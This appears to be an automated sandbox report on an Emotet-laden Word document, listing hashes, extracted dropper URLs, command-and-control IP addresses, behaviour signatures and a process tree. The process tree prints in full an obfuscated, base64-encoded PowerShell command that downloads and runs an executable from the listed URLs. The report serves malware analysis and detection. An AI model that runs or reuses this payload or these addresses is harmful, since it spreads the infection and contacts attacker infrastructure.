Analysis
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max time kernel
26s -
max time network
33s -
platform
windows7_x64 -
resource
win7 -
submitted
28-07-2020 19:33
General
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Target
c3c5633aa6844b78f5fd68ab867c7f0ee8c3cb63387b2b497ea29bcc8566a2f6.doc
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Size
171KB
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MD5
a512ea7bc160e955389b52b697c9de9c
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SHA1
c05ae5ffab53c50c1df6422d6e1b50b3224bb09f
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SHA256
c3c5633aa6844b78f5fd68ab867c7f0ee8c3cb63387b2b497ea29bcc8566a2f6
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SHA512
35c359a546375400efa0e9462c2a4027109f3266acbc29883aed297b4a9825415deca07d33a789c40737c6e85a00947723570dc89d980233dd9463bcfcce0d1a
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://bunchproperties.com/lyhvmiq/s_ia_4uaq/
exe.dropper
http://badeggdesign.com/cgi-bin/nxr5_o_d6vmj/
exe.dropper
http://calledtochange.org/calledtochange/0_76zqg_bwnxpr84/
exe.dropper
http://www.cinefamily.org/phpMyAdmin-4.7.9-all-languages/5um_oot_hz8/
exe.dropper
http://bodbderg.net/wp-admin/ogfv5_4_x2l/
Extracted
Family
emotet
C2
76.27.179.47:80
212.51.142.238:8080
189.212.199.126:443
61.19.246.238:443
162.154.38.103:80
91.211.88.52:7080
83.110.223.58:443
124.45.106.173:443
116.203.32.252:8080
109.117.53.230:443
5.196.74.210:8080
75.139.38.211:80
168.235.67.138:7080
176.111.60.55:8080
169.239.182.217:8080
74.208.45.104:8080
31.31.77.83:443
222.214.218.37:4143
37.139.21.175:8080
91.205.215.66:443
rsa_pubkey.plain
Signatures
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Suspicious behavior: EnumeratesProcesses 4 IoCs
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Blacklisted process makes network request 1 IoCs
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Executes dropped EXE 2 IoCs
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Emotet Payload 2 IoCs
Detects Emotet payload in memory.
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
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Suspicious use of SetWindowsHookEx 6 IoCs
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
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Suspicious use of AdjustPrivilegeToken 1 IoCs
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Modifies registry class 280 IoCs
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Suspicious use of WriteProcessMemory 4 IoCs
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Emotet
Emotet is a trojan that is primarily spread through spam emails.
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Office loads VBA resources, possible macro or embedded object present
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Drops file in System32 directory 2 IoCs
Processes
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C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c3c5633aa6844b78f5fd68ab867c7f0ee8c3cb63387b2b497ea29bcc8566a2f6.doc"1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Modifies registry class
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABVAEYAQgBJAEkAbABpAGkAPQAnAEcASABBAE8ARQBsAHoAbwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAGAAUgBpAGAAVABgAFkAUABSAG8AYABUAG8AQwBvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABTAFcARQBSAEwAcQBiAHoAIAA9ACAAJwA4ADUAMwAnADsAJABIAEcATgBQAEsAcwB1AG0APQAnAE0ASABYAFoAQwBkAGcAbAAnADsAJABOAFQAVwBYAFoAbgBqAHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAVwBFAFIATABxAGIAegArACcALgBlAHgAZQAnADsAJABGAEsATABQAFIAbgBjAHAAPQAnAEUAUgBUAFMAWAB1AG8AcwAnADsAJABKAEQAVQBGAEIAdABjAHAAPQAuACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAEIAQwBMAGkAZQBOAFQAOwAkAEUARgBCAFkASABoAG4AaQA9ACcAaAB0AHQAcAA6AC8ALwBiAHUAbgBjAGgAcAByAG8AcABlAHIAdABpAGUAcwAuAGMAbwBtAC8AbAB5AGgAdgBtAGkAcQAvAHMAXwBpAGEAXwA0AHUAYQBxAC8AKgBoAHQAdABwADoALwAvAGIAYQBkAGUAZwBnAGQAZQBzAGkAZwBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AbgB4AHIANQBfAG8AXwBkADYAdgBtAGoALwAqAGgAdAB0AHAAOgAvAC8AYwBhAGwAbABlAGQAdABvAGMAaABhAG4AZwBlAC4AbwByAGcALwBjAGEAbABsAGUAZAB0AG8AYwBoAGEAbgBnAGUALwAwAF8ANwA2AHoAcQBnAF8AYgB3AG4AeABwAHIAOAA0AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AYwBpAG4AZQBmAGEAbQBpAGwAeQAuAG8AcgBnAC8AcABoAHAATQB5AEEAZABtAGkAbgAtADQALgA3AC4AOQAtAGEAbABsAC0AbABhAG4AZwB1AGEAZwBlAHMALwA1AHUAbQBfAG8AbwB0AF8AaAB6ADgALwAqAGgAdAB0AHAAOgAvAC8AYgBvAGQAYgBkAGUAcgBnAC4AbgBlAHQALwB3AHAALQBhAGQAbQBpAG4ALwBvAGcAZgB2ADUAXwA0AF8AeAAyAGwALwAnAC4AIgBzAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAUABRAFEATgB6AHAAdwA9ACcASgBIAFkASwBZAGEAZwBqACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAFQATgBCAEMAZgBiAHEAIABpAG4AIAAkAEUARgBCAFkASABoAG4AaQApAHsAdAByAHkAewAkAEoARABVAEYAQgB0AGMAcAAuACIAZABPAHcATgBgAEwAbwBgAEEAZABgAEYASQBsAEUAIgAoACQARABUAE4AQgBDAGYAYgBxACwAIAAkAE4AVABXAFgAWgBuAGoAeAApADsAJABDAFMAUABBAE0AdQBkAHEAPQAnAFoAVABLAEQATABrAGkAegAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAE4AVABXAFgAWgBuAGoAeAApAC4AIgBMAEUATgBgAGcAYABUAEgAIgAgAC0AZwBlACAAMwA2ADQANwA1ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBlAGEAYABUAEUAIgAoACQATgBUAFcAWABaAG4AagB4ACkAOwAkAFAAWABMAFoAVQB1AHQAaAA9ACcAVABUAFQATABOAGkAbQBhACcAOwBiAHIAZQBhAGsAOwAkAEcAQwBXAE0AVwBlAHEAYwA9ACcARwBXAE8AQwBZAGUAZgB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAUwBVAEYAVABtAG0AeAA9ACcARwBJAFcAVQBZAGoAZAB0ACcA1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Drops file in System32 directory
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C:\Users\Admin\853.exeC:\Users\Admin\853.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
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C:\Windows\SysWOW64\bitsperf\api-ms-win-crt-environment-l1-1-0.exe"C:\Windows\SysWOW64\bitsperf\api-ms-win-crt-environment-l1-1-0.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\853.exe
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C:\Users\Admin\853.exe
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C:\Windows\SysWOW64\bitsperf\api-ms-win-crt-environment-l1-1-0.exe
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memory/1460-2-0x0000000008940000-0x0000000008944000-memory.dmpFilesize
16KB
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memory/1460-6-0x000000000A950000-0x000000000A954000-memory.dmpFilesize
16KB
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memory/1460-7-0x000000000B9D0000-0x000000000B9D4000-memory.dmpFilesize
16KB
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memory/1576-13-0x0000000000000000-mapping.dmp
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memory/1576-15-0x00000000003E0000-0x00000000003EC000-memory.dmpFilesize
48KB
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memory/1844-11-0x0000000000300000-0x000000000030C000-memory.dmpFilesize
48KB